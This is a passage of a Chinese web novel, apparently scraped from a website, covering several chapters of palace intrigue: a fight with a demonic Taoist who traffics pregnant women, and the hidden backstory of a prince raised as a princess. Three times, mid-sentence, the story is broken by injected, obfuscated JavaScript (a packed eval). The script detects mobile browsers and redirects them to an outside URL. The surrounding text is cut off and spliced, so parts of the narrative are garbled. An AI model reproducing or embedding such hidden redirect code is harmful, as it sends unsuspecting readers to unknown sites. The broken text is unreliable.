小琴刚刚从迷药的劲儿中缓过来,神色仍然有些憨痴,她缓慢地眨着眼睛,嘴巴歪了歪,蠕动着吐出几个音节。 “什么?”韩濯见她要说话,忙把耳朵贴近。 可惜她发出的音节实在支离破碎,韩濯仍然没听清,她疑惑地掏了掏耳朵,想再凑过去听听,却看见小琴竟然在微微颤抖,缓缓抬头,似乎是要把她顶开。 韩濯疑惑不解,可随后,她感觉到后背传来丝丝凉意,寒毛立刻竖起,头皮都炸了起来。 韩濯摸向了腰间佩刀。 “快走。” 小琴终于清晰地吐出了字音,可惜已经晚了,劲风一闪,韩濯抽出刀猛地回头,一颗尖锐的石子擦着她的脸颊飞过,瞬间划出一道血痕。 柜子的阴影处缓缓走出来一个人,对着闯进来的两个不速之客低低笑了一声。 这声音仿佛在阴湿地滑行而过的蛇,粘腻又冰冷,李三三刚刚把云归四肢的锁打开,闻此鸡皮疙瘩起了一身,“嘿”地一声大叫,听起来是如此明显的虚张声势。 “没成想是驸马爷,今日鄙人这陋室可真是蓬荜生辉。” 那道人站到了明处,半脸鬼面在灯光下跳跃,似寄生在人面上的一坨烂肉,韩濯紧紧攥着刀柄,心脏狂跳,拼命控制住自己不要发抖。 “怕什么,我们两个人呢,他只有一个。”韩濯心里这么安慰自己,把颤抖的声音压了下去。 “阁下抬举,俗话说,无事不登三宝殿,我也本不想闯入,但阁下……”韩濯状若扫视一周,道:“如此行事,究竟意欲何为?韩某不是好管闲事的人,但买卖人口,幽禁妊妇,大齐有哪条律法,允许阁下做这种生意?” 妖道闻之有些小小的惊讶:“我本以为驸马爷这种贵人,都该一辈子做个高枕无忧的富贵闲人才对,还瞧得起我们这种小本买卖不成,或者说……” 他玩味地笑了:“呵呵,我明白您的意思了。您既然明白这是门生意,想必也并不全然一无所知,想必您多多少少,也受过这门生意的好处吧,既然如此,大人若有意入伙,何须大费周章找过来,我每月定然把货亲手送到您手上。至于那位姑娘嘛,看在大人的面子上,我也乐意与她分一杯羹,想必江湖人门路也更广些。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14643540|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “呸!”李三三啐了一口气得脸都红了。 他这一番话黑白颠倒,韩濯也有些气血上涌,被他一番话说得感觉自己都不干净了,但也没贸然撕破脸:“想多了。” 韩濯继续道:“我对阁下的生意不感兴趣,但这里有几位姑娘,皆是我韩某人的朋友,我做不来坐视不理的事情。” 妖道听了摸了摸下巴,似乎在思索,随即道:“也罢,既然是大人的朋友,您带走便是,大人文采风流,张某早有结交之意,这便算是鄙人送的一份大礼,日后还请公主和侯爷多多关照。” 李三三一脸紧张地看向韩濯,却被她的表情惊了一下。 韩濯的表情从来没这么难看过。 她似乎压抑着极致的愤怒,似乎眼前人把什么恶心的东西吐在她脸上一般,手中的刀微微闪了闪,李三三后知后觉从她身上感觉到了杀气。 “我的几位朋友曾经活生生好端端的,是个能走能跑的活人,如今在你这儿暗无天日不知几天,都成了行尸走肉一般,被你一说,倒像是你卖我一个天大的人情似的,怎么,是狗把她们掳走,当做制药材料,畜牲都不如地折磨多日的么?” 这道士着实可恨,颠倒是非,不仅把她说成了和那些达官贵人一般的变态渣滓,还把候府和公主府牵扯进来,如果他的目的是恶心人,那他的确达到了。韩濯气冲冲地想,生平第一回产生了灭口的冲动。 “您知道不少。”妖道转过身,此刻那半面完好的脸对着韩濯,单看这半张脸漂亮得近乎妖媚,可韩濯越看越觉得胃里翻江倒海,恶心得想吐。 “大人,既然无意入伙,那带着您朋友走便是了,若她们怀的是您的种,带回去延续延续香火不也是美事一桩?个人自扫门前雪,您何必管这些,我这生意做了有几年了,当初您不知道的时候,不也没耽误您春风得意,潇洒快活?人人都不容易,各谋生路而已,大人也只是胎投得好些,我们没什么不一样。” “放你大爷的屁。”韩濯爆了一句粗口。 李三三惊讶地看向她。 “少恶心我了,你这个吸女人血的臭虫,话说得冠冕堂皇,好像这些腌臜事是我干得一样,我韩家满门忠烈,世代簪缨,从大齐开国起,祖父父亲,皆魂归狼烟未尽天年,我韩濯仰不愧于天,俯不怍于人①,美名是我三岁起便不分寒暑习文练武挣出来的,我一不靠祖荫袭爵,二不贪官家富贵,谁和你这种阴沟里的贱骨头一样?若我今日便要砸了你到处撞骗的招牌,让你下地狱给这些无辜女人赎罪,你又当如何?” 韩濯起初的那点不安和恐惧早早被无法平息的愤怒取代,她越说越畅快,胸中郁结一扫而空,现在只想狠狠把这半脸牛鼻子道士按在地上揍一顿。 那道士面色阴沉,道:“既然如此,那大人也不必出去了。” 李三三惊道:“你敢!这可是驸马,皇帝的女婿!” 妖道冷笑:“姑娘好意提醒,不过皇帝儿子和皇帝女婿,哪个重要我还是分得清的。” 韩濯神色一动:“你背后的靠山,果真是永王?” 妖道不答,韩濯的话音刚落,他便以迅雷不及掩耳之势将手腕一抖,那怀中拂尘如一把剑一样刺过来,直冲韩濯的面门逼将上去。 注①:出自《孟子·尽心上》 15. 宫闱秘辛 韩濯自来到大齐,虽不像之前那般在武道上勤勉,但日常也颇重视养生之道和体能锻炼,加之继承了原主的一身武艺,肌肉记忆还是一直存在的,可那妖道这一招来的既急又猛,韩濯闪身将将躲过,下一记拂尘便又攻了过来。韩濯右手一翻,欲从旁路击他手腕,可这拂尘仿若活了一般,向下一沉直逼向她持刀的腕子。韩濯只觉罡风扫过,愣是没敢硬接,急急撤刀。 她从开始似乎便一直处于下风,李三三在一旁看得心焦,身畔云归一直没有动静,她想上前帮忙却不知道从何插手,一时间竟然生出悔意,怎么自己净学了些旁门左道,关键时刻根本顶不上什么。 可李三三观察到,这道士进攻虽猛,但韩濯并非完全招架不过来,似乎这道士的左腿在动作时有些笨拙,相比他舞得狂乱的拂尘来说,基本不见他用什么腿上功夫。 “攻他下盘!” 韩濯招架得本来辛苦,方才一阵心焦,迫使自己平静下来思考解决方法,李三三这一嗓子倒是提醒了她,她神色一凛,迅速出腿横扫。 韩濯从小无论武艺,刀剑,还是骑射上的功夫,都是被老英武侯依着练兵的法子教出来的,底子深厚,下盘更是稳如磐石。那道士一愣,勉强将身退开,可韩濯分明看见,他的左腿似是有过旧伤。 韩濯了然,手中佩刀不再执着与拂尘缠斗,反而斜斜砍过逼向这道士左侧小腿。 妖道见她改变了策略,冷笑一声,迅速将距离拉开,将身一跃,与韩濯分开丈余之远。 韩濯警惕,也并未步步紧逼,只是目光如炬,未敢有丝毫懈怠。 “韩家人倒是有两把刷子,倒也不算浪得虚名。” 韩濯并不觉得这道士夸她有什么值得高兴的,冷哼一声,并未应答。 她方才招架起来已经算得上十分费力了,自穿越而来她还没有如此正面和人起过冲突,原身的武艺她只能运用个七八成,这妖道又算是个高手,方才只是侥幸发现破绽捡了个便宜,靠肾上腺素撑着勉力一战,之后这妖道察觉到自己的策略,必会护好命门所在,再想赢一招半式怕是难了,因此她后知后觉有些后怕。 “不用废话,你老老实话随我们回府衙,或许还死得体面点。”李三三从铁床后冒了头,对这道士说道。 这道士从未把李三三放在眼里,闻之冷笑道:“好个天真的丫头,府衙又算几斤几两?能奈我何?” 韩濯沉声道:“你说明白,你干出这些勾当,是不是永王给你兜着底?他到底能得到什么好处,值得做出这等丧尽天良的蠢事?” 李三三忍不住骂道:“你这个阴阳脸没面皮的跛脚丑八怪,害了这么多人,还好意思腆着丑脸狗叫,定是祖师爷爷见你丧尽天良才让你生了这副丑像,我要是你就好好窝在狗洞里,免得出门吓死鬼哦!” 那妖道虽然未曾刻意隐藏自己的半张畸面,但他从前最在意的就是自己的容貌,自毁容以后怨愤渐深,天长日久内心早已扭曲,偏偏要世人盯着这张阴阳面却不敢议论一句,听李三三这么一说,被气得面色发青,气血翻涌间彻底动了杀心。 “姑娘倒也不必假设。”他阴森森地说道:“等下我便让姑娘试试,要得这半张脸也不难,只需拿那烈火烧灼,不出半刻便能肌肤溃烂,脂化肉焦。” “住口!”韩濯厉声说道:“你把西京城当成了什么?难道是你能随意行恶的地方不成?” “呵。”那道士冷笑出声。 “那您以为,这西京城是什么干净地方?驸马爷舒坦日子过惯了,还以为普天之下都风调雨顺,被天子的君恩泽被着?” “我这脸,这腿,被毁掉的一辈子,全都拜天子所赐啊!对了,还有我那个没有心肝的好父亲,你们此刻指着我的鼻子骂得冠冕堂皇,好义正言辞啊,可我呢?谁来赔我十年的光阴,谁来赔我的一辈子!若是易地而处,我看你们谁又能眼睛不眨地说出那些道貌岸然的话?” 妖道目光闪烁,壁灯映得他眼睛似有烈火燃熊熊燃烧。 / “等一下。” “殿下,我们也只是奉命办事,您别为难我们。” 宋青瑛面色苍白,眼神低垂,微微伸出手,攀上了侍从的手臂。 侍从一愣,方欲说话,转头瞧到宋青瑛的模样,被吓得六神无主:“殿下?殿下你怎么了?” 宋青瑛嘴唇发青,微微颤抖,似是终于支撑不住了一般,扶着他的手臂便缓缓滑在地上晕厥过去。 两个侍从一左一右,皆是六神无主,大眼瞪小眼。 “怎么办?” “嘶……有气,我们要不要请太医?” “废话,这可是公主殿下!” “可太子殿下说过,不能让......” 领头的侍卫摆摆手:“公主殿下年纪这么小,会出什么事?不然殿下也不会只让咱们俩看着了,你快去禀告殿下,我把公主扶进去。” 另一人诺诺应是,闪电一般划走了。 剩下的那位摸了摸鼻子,也不能任由宋青瑛就这么趴在地上,弯下腰打算将宋青瑛移入屋内。 他方低头,对上了一双锐利的眼睛。 那侍卫顿觉不妙,方欲跳开,宋青瑛伸手一挥,一包细细的粉末便直接摔在他脸上炸开,他来不及叫喊,便悄无声息地晕了过去。 宋青瑛翻身起来,他这包药粉还是李三三当初给的,没想到真的派上了用场。 他拍拍手起身,看了一眼五大三粗的侍卫,心里犯难,犹豫片刻还是咬咬牙撸起袖子,拽着他的衣领朝屋内拖去。 房中意料之中无人,宋青瑛打算速战速决,若是侍卫太医太子什么的一会儿一长串来了可当真不好办,他三下五除二把侍卫的衣裳剥了换上,慌乱间在塌上摸到了什么东西。 “嗯?” 他用力把衣衫不整的侍从扒拉到地下,这药粉劲儿很大,没有十个时辰醒不过来,对李三三的制药手段,他还是很放心的,因此那侍卫摔在地上伴随着“咚”的一声,发出了十分不满的哼唧时,宋青瑛并未十分紧张。 这间房怕是多年未用了,委屈巴巴的挤在这里,没上锁也没堆放杂物,古怪得很,宋青瑛掀开褥子,床板果然翘起一块,他回头环顾,确定无人后将它一掀。 堂堂太子殿下的府邸处,竟然也藏着一个密道。 即使换了装束,他这小身板穿着明显不合身的衣服怕也要引人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刹那间,党参的脖子一凉,他寒毛倒竖,感觉到什么温热的东西从脖颈上流下,顿时吓得双腿哆嗦,站立不稳。 一把闪着寒光的匕首抵在他的脖子上,持刀人个头不高,手上力道却不容置疑。对面,丹参平静地对上稚嫩的脸上那一双森然的眼睛,目光最终落在那人眉间朱砂上。 “公主殿下。” 宋青瑛第一次把刀架在人脖子上,可此时他顾不了那么多了,浑身肌肉由于紧张和愤怒而紧绷,他心脏砰砰狂跳,某个残忍的,他追逐多年的真相呼之欲出。 而他对此毫无准备。 他片刻才找到了自己的声音:“惠妃娘娘的死因,一句不差地告诉我,否则,我不介意让自己的手见见血。” 这话不该从一个传闻中的修行人长宁公主口中说出。 可是,他还必须活着的意义,就是一个彻头彻尾的骗局。宋青瑛自嘲地想道:他的存在不知沾了多少人的性命,枉自赤条条,却处处惹尘埃。 16. 西京往事 张玉申趴在桌子上,脸颊因挤压膨出软软的一团,他愣愣盯着炸了两下的灯花,打了个哈欠。 “申儿,快去睡吧,别等了。” 张玉申回头,见小娘孙锦弦扶着肚子提灯而来,他不咸不淡哼了一声算作知晓:“婶娘还有孕在身,若乏了自己休息便好,您身子娇贵,不必操心我。” 那女子听闻他叫自己婶娘,不由苦笑,丈夫死后又嫁给丈夫亲弟弟,在哪里都算不上什么光彩的事,可她当初无依无靠千里迢迢携儿赶来西京城投亲之时,正是小叔张珍接济了她,她再嫁后便暗暗立誓,要将珍郎前妻之子视如己出,可张玉申像个捂不热的冰块一般,对她处处冷眼。思及至此,不由心中酸涩。 “娘。”外间的门框被轻轻敲了两下。孙锦弦捋了捋鬓边发丝,回过头去,正是儿子张玉成提着食盒站在门边,见屋内二人,心下立刻有了计较,他少年老成,从前颠沛流离见过世间百态,如今又寄人篱下,明明和张玉申差不多的年纪,却练就了一副八风不动的和平面皮,波澜不惊道:“爹晒好的药材,我给收起来了,临走前嘱咐娘喝的药我已经煨好,娘服下了便好好歇息吧。” 张玉申冷笑一声,引得二人看了过去。 “玉申喉咙可否不适,前两日我熬了枇杷膏,我给你送些去?”张玉成淡淡道。 孙锦弦知道自己儿子懂事,心中大慰,忙不迭接口道:“是啊,申儿,别客气,这是他做哥哥的应当做的,诶成儿,你快......” “哥哥?”张玉申终于直起了身,眯着眼睛看向门口的二人,他那些不满与愤怒早早因这二人丝毫挑不出毛病的怀柔变成了一腔纯粹的怨恨,他冷冷道:“我可不认得什么哥哥,毕竟我还是要脸的。” “申儿......”孙锦弦被张玉申说得脸颊泛热,内心却如坠冰窖,此刻张玉成向前走了两步挡在母亲身后,打断了她诺诺的话:“玉申不认我做哥哥无所谓,我把你当弟弟待便是了。放心,我做的枇杷膏是改良过的,爹也夸过点了头,市面上可买不到,送与兄弟,也算拿的出手,贤弟若是赏光,自然算不得丢了脸面。” 这翻话好像是在给张玉申台阶下,可在他耳朵里,便是话里藏针了,怎能领情,“爹夸过”不知道触动了他的哪一根神经,出言讥讽道:“爹夸过?你的哪个爹?哦,是了,父亲肯把家学传你,肯嘘寒问暖锦衣玉食养着你,这么多好处,给他做个儿子可是个好买卖。” 孙锦弦简直要背过去,张玉成见母亲呼吸急促,担心她孕中收到刺激,想嘱咐她赶紧去喝药,让他们二人自己解决矛盾,可张玉申的嘴淬了毒一般,见孙锦弦软弱可欺,反应这么强烈,更想激她两下,最好让这女人真出了什么事才好,他想到这,心中痛快极了,不依不饶道:“一个有了新爹忘了亲爹,一个不知廉耻嫁了哥哥又勾引弟弟,还真是母子......” 他来不及说完了。 话音未落,方才还温雅端方的张玉成突然暴起,一拳狠狠砸在了张玉申脸上,引得孙锦弦一声惊呼。 张玉申被打懵了,他嘴角破了皮,颧骨也青了一块,他半晌才反应过来,生理性眼泪从一只眼睛上滑落,又羞又怒,但还未开口,便被提着领子扼住了喉咙。 “向我母亲道歉。”张玉成声音冰冷。 张玉申此番已经缓了过来,他的眼角疼得发麻,闻之冷笑,尽管呼吸不畅,仍狠狠挤出一句:“去死吧,你这婊子养的……” 紧跟着又是一拳,孙锦弦吓得直哭,嘴里喊着别打又不敢上前。张家这两兄弟,一个来了脾气,一个不肯服软,天王老子来了也难办。此刻孙玉申看准时机,狠狠撞向张玉成胸口,后者未曾料到他仍有力气,急忙松了手,张玉申红了眼,没缓两口去便扑了上去,二人登时厮打在一处。 “这是做什么!” 一个声音低沉含怒,孙锦弦回头,仿若看见救命稻草,喜极而泣:“老爷!” 张珍见妻子梨花带雨,有孕之身受如此惊吓,心中无限怜惜,又见两个孽子不顾手足之情,顿时气极。但他对着兄长血脉不便发怒,更何况他素来知晓二人品格为人,料定必是这事必定是自己亲儿子挑起,便抄起一旁的棍子狠狠打向伏在张玉成身上的儿子:“孽畜,还不住手!” 孙锦弦惊呼,劝张珍莫要下此等狠手,可那棍子已经打向了张玉申,这一下来势汹汹,挨上一下非要青肿发紫,疼上一月不可。眼看着张玉申要受了这一棍,下一秒,张玉成带着堂弟将身一滚,那棍子直接打在了张玉成的背上。 “成儿!”孙,张二人同时惊呼。 张玉成一声闷哼,生受了这一下。他方才见母亲为难,早就后悔和张玉申撕破脸了,但张玉申仿佛恨极了他,出手狠辣,他不得不勉力抵挡。眼下替他挨了一棍,便算是卖个人情,暗暗希望张玉申能将此事能从头揭过。 张珍夫妇和赶来的仆从七手八脚去扶张玉成,孙锦弦掀起他的衣裳,见儿子后背那处皮下青黑,心疼地又哭出声来,张珍悔极,他平日生怕兄长之子觉得寄人篱下受到委屈,自己落得个不仁不义,龌龊不堪的伪君子声名。此番失手打伤张玉成,只能内心强压下慌张,此时看见自己的儿子默不作声,眼神阴鸷,便终于找到了能缓解愧疚的方式,他大声骂道:“小畜牲,你兄长可是为你才挨的一棍,你殴打兄长,毫不恭敬,该当何罪!” “父亲。”张玉成打断道:“是我先动的手,不关玉申的事。” 孙锦弦连忙附和:“是啊,成儿也有错,老爷别气了……” 张珍心安理得地顺着台阶下,道:“我还不知道他,对你们出言不逊不是一次两次了,成儿的人品我如何不晓得?若不是玉申对你们言语不敬,他怎么会出手打人?定是这小畜生的不是,阿锦,快和玉儿去休息,我去配些药来……” 张玉成被架着离开前回头去看弟弟,心下暗道:“我帮他挨了一下,这次便翻了篇吧,有道是不打不相识,日后他若对我母亲恭敬些,我绝对会好好待他。”可当他对上张玉申的眼睛时,却愣在当场。 张玉申的表情看不出什么情绪,但一双本来形状柔软漂亮的桃花眼中眼神森然,仿若淬了毒,带着纯粹的恨意,但只有片刻,稍纵即逝。 张玉成愣了一下,可他再一眨眼,张玉申已经低了头,那寒意如错觉一般,再寻不见。 已是三更天,张玉申却仍未睡着,父亲特令他跪在柴房里,门上了锁,不许旁人探视,可他怎是安生听话的主?张玉申并不打算老老实实跪着,只是百无聊赖在柴房里踱了几步,最后仰躺在 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“好歹你争气,比那个不学无术的的张玉申强上百倍,你爹是太医院最年轻的御医,你日后得了他真传,可要争取将来也在宫中谋个一官半职。” 张玉申系衣带的动作停住了。 “我说过我不去太医院。” 孙锦弦充耳不闻,继续絮叨:“自己的前途心中要有数,多留意结交几个宫里的人,改日我和你爹说说,让他帮忙引荐引荐。” “我说了,我不去太医院!”张玉成大声道,见孙锦弦身子一顿,他收了声,叹了口气道:“娘,医者之道不在天家朱门内,我将来能自立门户的那一日,也不会留在京城。” 孙锦弦不耐道:“又孩子气,我们好不容易到了天子脚下锦绣堆,何苦又出去讨生活,别傻了成儿,你不去太医院,还想做个游医不成?” “未尝不可。” “你!” “游医有什么不好的,治病救难,也算为妹……爹娘积累些功德。” 孙锦弦气得身子发抖,道:“我辛辛苦苦千里跋涉深一脚浅一脚地把儿子带到西京城,好几次差点丧了命,好不容易看他长大成人眼看着要奔个大好前程,结果,我的儿子说他要混迹草莽做个卖药的泥腿子!张玉成,你对不对得起我?对不对得起你妹妹?” 张玉成沉默,一直以来堵在心口的大石越压越深,几欲崩塌。 “都是我身上掉下来的肉啊,她才刚满月不久,娘都没叫过,为了让你活下来,不在路上冻死饿死,我一个刚出月子的女人就要与我自己的女儿骨肉分离,我受的苦遭的罪伤的心,哪一样不是为了你能活下来,能有个前程奔?” “我宁愿你当初卖的是我。”张玉成声音平静,他已经对母亲的论调习以为常,可这是第一次,他没有出言安抚母亲。 “什么?”孙锦弦愣住,眼泪挂在脸颊上忘了擦,但张玉成没有给她机会,长长呼出一口气。 “娘,你回去吧,我累了,就让我歇一歇。” 他起身,伫立片刻,回头道:“娘,我对娘问心有愧,但亲手卖了妹妹的,不是我,真正对不起妹妹的,更不是我。” 孙锦弦下意识想辩驳,却无法开口,张玉成的背影走远,张珍也早已睡下,百绪千言,最终化作了一声悲哀的哽咽,在格外宁静的夜里空荡荡地回响。 17. 古寺坟茔 “半月前日西街走水,这事你知道么?” “这么大的事,还有谁不知道,死了不少人呢。” 两个小沙弥一边扫着门前落叶,一边交头接耳。 普化寺地处京郊,香火远远没有护国寺旺盛,平日里若非年节庙会,并无很多香客,二人正谈着,听见一阵得得马蹄,二人抬头看去,见一人身着玄袍绝尘而来,顷刻间已到门前。 “李将军。” 二人出声唤道,显然对来人熟悉至极。 李清云向二人致意,并未寒暄,直接行色匆匆进了门,小沙弥见怪不怪,对视一眼嘻嘻笑了笑继续手中活计。 “婉儿。” 李清云七弯八拐,奔至后院一间小屋,出声唤道。 被唤的女子回头,她怀中抱着一个双目紧闭,脸色青白的幼女,见李清云来了,木头般的神色有了裂痕。 “怎么样?” “药拿到了。” 冯婉萍从他手中接过药包,急道:“四娘,劳驾。” 旁边上了年纪的仆人诶了一声,急忙接过,方要走时,怀中的幼女却出了声。 “娘,娘……” 屋内其余三人皆围了上来,那幼女睁了眼,伸手要抓住什么。 “别,别带走我娘,瑛儿听话,再也不……” 冯婉萍被这女孩喊得肝肠寸断,想起自己的亲妹妹已然在深宫中逝去,回忆起往昔种种,虽悲从中来,但不得不克制住安抚这女童。 “别怕,别怕,娘在呢。” 青瑛急促呼吸了几口气,上午时还发着热,午时突然出了一场大汗,身子却冷下来了,哪怕冯婉萍给她裹紧了过冬的被子仍是无济于事,她呜咽一声,糊涂道:“娘,四娘,你们别走……这是在哪里啊,瑛儿不回宫,娘不要……” 幼童说话本就容易颠三倒四,此刻她病入膏肓更是言语错乱,冯婉萍只能装成惠妃温声安慰。 “好,阿瑛乖,我们不回去,不回去,你撑住了,好孩子…好孩子。” 青瑛沉默了一会儿,又好像在不住吞咽什么,四娘探了探,已是出气多,进气少了,她收回手,不觉泪如雨下。 “娘,别去父皇那里,娘要和瑛儿…我们跑得远远的。”青瑛絮叨着,冯婉萍附耳凑近,听到这番话有些茫然。 “娘流了好多血,娘痛不痛,娘……” “不怕,瑛儿不怕,娘在呢,娘好好的。” 青瑛颠三倒四说了一阵,似乎耗尽了力气,只一双眼还睁着,又不做声了。 秋风渐起,呜呜的风声从门窗中透进来,宋青瑛,不,此时还不叫宋青瑛的男孩进了屋,天已经浓黑了,冯婉萍,四娘和李清云皆守在床畔,都未曾睡去,一碗药汤下去,青瑛的情况稳定了一些,此时缓缓睁了眼,人还是虚弱的,精神却好像清醒了。 “阿瑛,你看,你不是说想看蝴蝶么?” 男孩献宝一样将手中银杏树叶编织成的蝴蝶举起来,在灯下若鎏金般的颜色。 她突然似乎清醒了,眼中好像看不见其他的东西,只有这金色的,振翅欲飞的蝴蝶,她笑着,伸手去拿,却没能抬起手来。 男孩欲把蝴蝶放在她的手上,却被冯婉萍拦住,抽走男孩手中蝴蝶,仿佛他不存在一般,轻轻将这做工粗糙的玩意放在青瑛脸侧。 李清云看了一眼被推了往后几步的男孩,叹了一口气,出声劝慰道:“阿瑛受不得寒,你娘是怕你刚从外面回来……” 未等李清云说完,男孩便垂首点了点头,他早已熟悉了所谓亲娘的冷漠,便只不再言语。 这蝴蝶是他早上陪青瑛妹妹说话,听她讲想见见春天的蝴蝶,才跑出去为她寻,可已经深秋,哪里还有什么蝴蝶,他辗转一天,才想出这个法子,笨手笨脚折了叶子给她。 他挑了很久,才选了最大,最漂亮的叶子,但好像这屋的大人们未十分在意。 青瑛并没有多看几眼那金色的蝴蝶,她笑了,好像身体已经好了起来一般:“谢谢……” 男孩抬头,可是看着她的笑容,心底却仿佛被虫蚁噬咬,他看见女孩子微微抬头,好像是想握握他的手。 “谢谢哥哥。” “我想待在有树,有风的地方,那该多……” 青瑛不再动了。 一切归于寂静。 男孩并没反应过来,他被推走了,看见床前四娘跪了下来喊着“姑娘”,李清云搂着冯婉萍,她的肩膀微微耸动,像是在哭,可那些哭声很远很远,和他隔着一堵看不见的墙似的。 庭院的秋风凄紧。 “两位师兄的院子怕是要白扫了。”他这么想。 / “婉儿,同我走罢,事已至此,何必自苦。” 冯婉萍看着李清云,她从前不是这样的,本来是个爱热闹的活泼性子,爱书画,爱琴棋,也爱酒,更爱那两柄长虹剑,当年一曲剑器动四方,就这么误入了大齐天子宋钺的眼。 她最近染了风寒,身体脆弱,眼神茫然,她看向屋内睡得正香的男孩,沉默良久,轻轻道了声“不。” “婉儿......” “不。” “我会把他当做自己的亲生儿子待,我们一起走,远离这朝堂是非,就在江南开个小酒馆好不好,过往你的一切,我都不在意,就当没发生过......” 冯婉萍突然转向他,眼神像刀子一样冷。 “你在不在意并不重要。”冯婉萍一字一句吐露:“你在不在意,和我并没有相干。” “婉儿......”李清云有些不知所措,他试探着还欲再说,却被冯婉萍打断: “我从来没有对不起你,我只当被宋钺咬了一口,他当初囚了我,强迫我,我逃走了寻不到我就强娶了我的同胞妹子,还害死了她。我和他是有血海深仇,不是有奸情,难道就因为这些我就要祈求你海量放宽,既往不咎?李清云,我何必要在意你是否对我的过去耿耿于怀?” “婉儿,我不是这个意思......”李清云觉得心中一阵阵地绞痛,她一个身怀六甲的女子在宋钺眼皮子底下逃走,是怎样的智谋与胆识。可他又不敢想象,在他不在京中时冯婉萍承受着多大的压力:“对不起。” “不必道歉,我没做错什么,你也没做错什么,怪只怪这世上是非对错从来都是被掌控在上位者的手里,”冯婉萍没有哭,可能是眼泪早就流干了:“我只是不明白。” “宋钺,他以为他强占了我,我有了他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14680999|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 种,我便彻头彻尾是他的所有物,自然也不敢再动跑掉的念头,为什么呢?难道女子一旦被人缠住,不论对方是什么禽兽猪狗,都要认命地从了他么?” 冯婉萍觉得荒唐,突然就笑了出来:“哈哈哈哈哈哈哈,李清云,你看,男人是怎么想我们的?他找不到我,便强迫我妹妹进宫,装一副深情相,当时柔情蜜意哄得我妹妹猪油蒙了心,到了他遭了天谴犯了急症的时候,又听信来路不明妖道的谗言,说我妹妹肚子里的皇子是个克父灾星,要‘取婴入药’来治病,李清云,哈哈哈,你听说过这种事么,我那温良惯了的妹妹,要为这荒谬的事丧命!” “不是,婉儿,你听我说。” “我不会和你走的。” “为什么?你我青梅竹马,我早就把你当成我此生唯一的妻子,我......” “素萍走了。”婉萍喃喃道:“她是代替我进了这吃人的后宫的,她是我亲妹妹,我一奶同胞最好最亲近的妹妹,从小就懂事,可她这辈子,吃了多少苦,受了多少罪呢。” “她代替我进了这深深宫闱,宋钺在她走前连个妃位都没给她,这些年她过得怎样呢?”冯婉萍轻声说道,李清云觉得她仿佛一口气就会被吹散一般:“她为了我这个不成器的姐姐送了命,而我呢,我能心安理得踩着她的尸骨,咬着她的血肉,和你去逍遥快活?” “婉儿,你何必自苦呢?” 冯婉萍看向李清云的“什么叫自苦?”她一字一顿道:“我不是傻子,李清云,我留下,为的是终有一日,要宋钺赔命。” 李清云喃喃道:“婉儿,你疯了么?” “我从来就是这样的人啊......”冯婉萍叹了口气,神色凄然,一点也看不出方才她说了怎样一番足以被诛灭九族的话。 “云哥哥,”她轻轻道:“我承你的情,这辈子算我对你不住,你还是另娶他人罢。” “不,你没有对不住我,是我,是我对不住你,我没护好你。” “如今,你我也不必说这种话了。”冯婉萍神色平静下来,一阵萧瑟的风吹过,路过梧桐树下那一方小小坟茔,无端惹人寂寥。 “宋青瑛。”她低声念道。 她注视着熟睡的男孩,深思有些恍惚,她想起来五年前,她一个人挣扎着生下这个孽种,那么小的一团,丑得像紫皮的瘦猴子,她流了很多血,险些丧了命,本来要将婴孩丢弃在荒郊,可不知为何心念一动,终是将他养到了这么大。 “她要活下去。” “什么?”李清云觉得自己聋了。 “宋青瑛要活下去。”冯婉萍定定看着男孩的睡颜:“活着,才有转机,从今往后,他就是我妹妹的女儿。” 他长得和自己真像,自然也像死去的妹妹,唯独差了…… “这是我们欠下她们的。” 银针刺破男孩的额头,留下朱砂一点。 “从今以后,你就是宋青瑛。” 带着仇恨而生的稚童,从前是没有名字的,也并没人费尽心力去取一个带着爱意与期盼的乳名。呼来喝去时,只用“喂,小鬼”指代便罢。 可竟如因祸得福一般,冠以仇人之姓,署以眷属之名,在四岁那一年,他的名字终于姗姗来迟。 18. 独木难支 宋青瑛手中寒刃仍然抵在党参脖子上,丹参平铺直叙将陈年旧事娓娓道来,反倒让他平静了下来,他一时间觉得,那些仇恨似乎离他很远很远。那些染着血色的,脏污的宫闱密辛,就这样与他不可为外人道的身世连接到了一起,做为“宋青瑛”,他合该应该恨透了生父安平帝才是。 可是他好像成为了一个旁观者,对这污糟的阴谋往事,他固然恶心至极,可那今日才分明的血海深仇似乎是突然压在他身上的当头棒喝,他蓦然回首来时路,竟发觉自己从来都是一人踽踽独行。 若一个人生来便亲缘淡薄,得到的爱本就清浅,那恨又如何能入骨呢? “那妖道呢?是永王让你们来清点名册的?他人在哪?还有没有其他药童?” 丹参摇头,面色平静:“没有其他药童,我们奉永王殿下的命令办事,其他的一概不知。” 宋青瑛觉着不对,几番思忖后心里一个激灵。 “不对,永王派你来,到底是干什么的?” 党参面色惨白:“师兄,你到底知道什么?到底怎么回事?” 丹参淡淡道:“殿下,您要是再不走,可就来不及了。” 